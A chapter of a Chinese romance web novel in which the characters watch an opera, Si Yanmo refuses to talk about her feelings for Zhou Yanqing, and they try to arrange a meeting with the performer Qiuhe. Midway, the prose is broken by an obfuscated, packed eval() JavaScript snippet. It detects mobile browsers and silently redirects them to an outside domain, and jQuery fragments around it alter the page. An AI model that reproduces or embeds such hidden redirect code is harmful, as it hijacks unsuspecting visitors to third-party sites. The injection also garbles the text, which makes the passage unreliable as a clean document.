“你有完没完?”周言卿真的生气了。
碍于司言茉的面子,他一直没和这人计较,他怎么还蹬鼻子上脸啊?
司言茉也是无奈,只能劝两边各退一步。
“要不这样吧,我们本来也是去云间轩,听完戏,就带他去看一眼。”她在凑到周言卿的耳边低语,“你要是不答应他,今天他是不会走了,一会儿戏都看不好。”
这已是目前为止最好的办法了。
周言卿只能妥协,委屈巴巴地又加了一句,“但看戏只能有我们两个人。”
“好。”
仲子贺达到目的,终于欢欢喜喜地上了自己的车子,放过了两人。
艳阳下,两辆马车一前一后,摇晃着去往云间轩的方向。
而云间轩这边,一群身着粗布马甲的汉子正将马车上送来的货品一一卸下来扛到仓库。
林娘来到为首的马车前,轻轻敲了敲窗子沿,一只手不满老茧的手掀开窗帘。
里头的男人笑呵呵地看向林娘,“林老板有什么指示啊?”
林娘也不废话,将一沓银票递给男人,“今晚有个人跟着你们的车队走,别问是谁,也别打听。”
男人了然,收下银票,“放心,我这儿没有多嘴的人。”
交代完,林娘默默从后门的梯子回到二楼自己的厢房,推开门迎面便撞上了司言茉一行人。
她顿时心跳如鼓,一时竟忘了搭话,手默默将后面的门关紧。
好在他们并未发现什么,只是让她准备间雅座,说是要看今日的《云姬传》。
她松了口气,马上替几人安排好。
仲子贺见到林娘正欲说秋禾之事,却被周言卿一记眼刀给瞪了回来。
“等我们听完戏。”仲子贺看到他的嘴型,眼中的威胁,只能乖乖闭上嘴,灰溜溜地自己找了个座位坐着。
周言卿刚带着司言茉坐下,一声清脆的铃铛声从戏台上传了过来。
司言茉不由得看向自己腰间别着的铃铛,挑眉询问,“这……应该不是巧合吧?”
见她发现,周言卿也不掩饰,默默握住她的手,轻轻揉着。
“看完,我给你讲个故事。”
“你应该知道,我其实可以直接看的吧?”司言茉自然清楚,他说的是他自己的故事。
“可我想给你讲……”
戏台上弦音响起,“云姬”行至那落魄无助的男孩身边,咿呀咿呀的念白做唱。
台下,二人的视线交织,司言茉几乎能感受到对方眼神中的炙热。她有些不适应,却又有些期待,他要怎样讲那段她已经知道的故事……
随着台上的故事开幕,周言卿也将自己的那段过往一一道出。
他省去了很多其中的心酸,更多说的是逃出来后自己对未来的憧憬。
司言茉听着,很多自己明明曾在对方命格中看到过的事,却在他的讲述中变得生动。
她仿佛看到一个受尽屈辱却依旧不折不挠的孩子——他从未放弃自己,他逃出来,他给了自己新的生活。
“也许我比你更早觉得这个世界根本没什么所谓的神,云姬根本不存在,不然她为什么不来救我?”
周言卿说这话时,偷偷牵着她的手,捏捏她的指尖,眼神里带着几分孩子般的委屈。
“那你还说什么‘向来如此’的话。”
瞧着女孩嗔怪的模样,他轻笑,“这么记仇?”
“我也不知道。或者说我明明知道,但不愿意承认。”
“承认这世间没有神,难道不比承认没人愿意来救你更容易吗?”
“是我执念太深,我总以为师父说会有神来救我,就一定会有。”
“不会有的。”
前世自己的遭遇历历在目,司言茉果断打破了他的幻想。
“这个世界上能救你的只有你自己,旁人……哪怕是神,也不会在乎你的死活。”
“那你呢?”周言卿抬眼,那与她相牵的手微微收紧,“你在乎吗?”
司言茉看出他眼神中的炙热,默默抽出手,声音就带上几个冰冷,“我在乎,因为我们有交易。”
“我说的不是这个。”
他不懂眼前人为何突然变得冷漠,语气有些慌张。
“我知道,但我说的只能是这个。”
司言茉叹了口气,与他对视,眼神多了几分生疏,“周言卿,我们最近被那个夜笙歌搞得都不太清醒,我不喜欢这种感觉,也不会在这种情况下和你谈论这些。”
“可我们现在是清醒的,不是吗?”
“不,不一样。”她摇头,“说实话,经历了那天的事之后,我很难理智的看待我们之间的关系。正是因为这样,我才害怕。”
“周言卿,我知道,在你眼里,也许我只是一个再普通不过的商户之女,也许有那么点小聪明,但你并不知道我真的经历过什么。”
其实这些天司言茉一直在思考他们之间的关系,或许周言卿对于她来说确实和别的男人不一样,但她并不认识几个男人,也并不知道该如何去判断自己对一个人的感情。
前世就是她太草率,以为成婚了就要一生一世。
事实证明不是,周君松也可以在她死后,转头就和姐姐结婚。
她不怨姐姐,也不怨周君松,甚至祝福他们相爱,但这一切也让她明白一个道理,不是成婚了就代表相爱,也不是成婚了就代表此生都要在一起。
这也是她能坦然的和周言卿说出一年后和离的原因。
既然前世周君松不会被困在他们这场婚事里,今生她也不会被一场婚事绑定。
只要不喜欢,她有权去做任何自己想做的事情,哪怕她真的和周言卿怎么样了,她也不要自己被困住。
“周言卿,不是成婚了就要爱彼此的,你不需要这样逼自己。”她开口劝说。
而一旁的周言卿听到这话,一时间都不知该如何回应。
他这几日掏心掏肺的,落在她眼里竟成了自己强迫自己爱上她?
“阿茉,我想你对我有些误会,我……”
他话还未说完,雅间的门砰的一声被人打开。
不出所料,是仲子贺。
他探出个脑袋,一脸讨好,“二位……戏听完了,可以帮我找秋禾了吧?”
两人这才发现,他们说话间,这出《云姬传》已经落幕。
“走吧。”司言茉刚要起身,却被周言卿一把抓住。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526789|186333||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
恍惚间,一切似乎回到了最开始贺春楼时。
司言茉,周言卿,仲子贺。
他攥着她的手腕,他急着要带她走。
但这次不一样的是,那双锐利的丹凤眼里满是恳求,仿佛被主人抛弃的小狗。
“阿茉,你听我说完好不好?”
“我说了我们都不清醒,下次好吗?”她无奈的劝着。
周言卿这家伙好像一直没变,没得到自己想要的答案之前就要死缠烂打。
“殿下,这和命格不同,我想我们一时半会儿是说不清的。”
殿下?
她叫他殿下?
周言卿的心仿佛一瞬间坠入冰窟,和之前一样,他松开了手。
不同的是,这次司言茉没有直接走,而是柔声道:“好啦,走吧,回去说?”
小狗的眼睛又亮了几分,这说明他们还是有机会的吧。
几人找到林娘,与之商议想要见秋禾一面,林娘却怎么也不肯。
眼看着仲子贺又要开始跪地撒泼打滚,司言茉只好将林娘拉到一边,“师父,您就帮帮忙吧!我这位兄长真的很喜欢秋禾,你要是不让他看一眼,我怕他死都不能瞑目。”
“哎呀,不是林娘不让你们见,是秋禾向来不喜见客。这些年了在我这儿,也没有一个客人见过她的真面目,连我都很少见,更别说她近日还病了。”林娘也算是无奈。
眼看软磨硬泡都不行,司言茉戳了戳一脸生无可恋的仲子贺,“要不算了吧,人家都说了不见客。”
仲子贺竟又跪了下来,“小茉儿,哥这一辈子就求了你这么一件事儿,我真的很想见见她。”
他这一跪,给林娘都弄得不知如何是好。
没人知道他为什么对这秋禾有如此大的执念,只有他自己知晓,13岁那一年和父亲一起来到秦地,他只是路过云间轩,听到那从窗子里泄出的琴声,便再也无法忘怀。
此后每年他都要来到这儿,仿佛千里之外有个人一直在等着他。
仲子贺知道,这话说出去任谁都不会相信,甚至会觉得荒唐,但事实就是这样。
这些年他也不是没想过和云间轩的老板谈一谈,把人买回南都去。
林娘却表示,秋禾是自愿留在云间轩,并没有卖身,她也不会离开秦地。
这也成了他一直想去见秋禾一眼的勇气都没有的原因。
可现在,秋禾要走了,这对于他来说不亚于心爱的姑娘要嫁人了。
仲子贺一生最大的信条都写在他那把扇子上了——尽欢。
人生太短,何不尽欢?
他不会给自己留遗憾,所以他今天必须要见到秋禾,哪怕豁出他这张脸。
司言茉和他认识了这么久,其实是懂他的,不然也不会真的在这儿陪他闹。
可现在的问题是,这人谁都不见……
众人一时陷入僵局。
就在这时,一个声音打破尴尬,“你们这是……”
是乌子昂。
他也是听说秋禾明日就要离开了,来看看能不能有机会听到对方最后一次演出。
然而就在他出现的那一刻,司言茉看着他那张脸顿时觉着似乎有什么不对。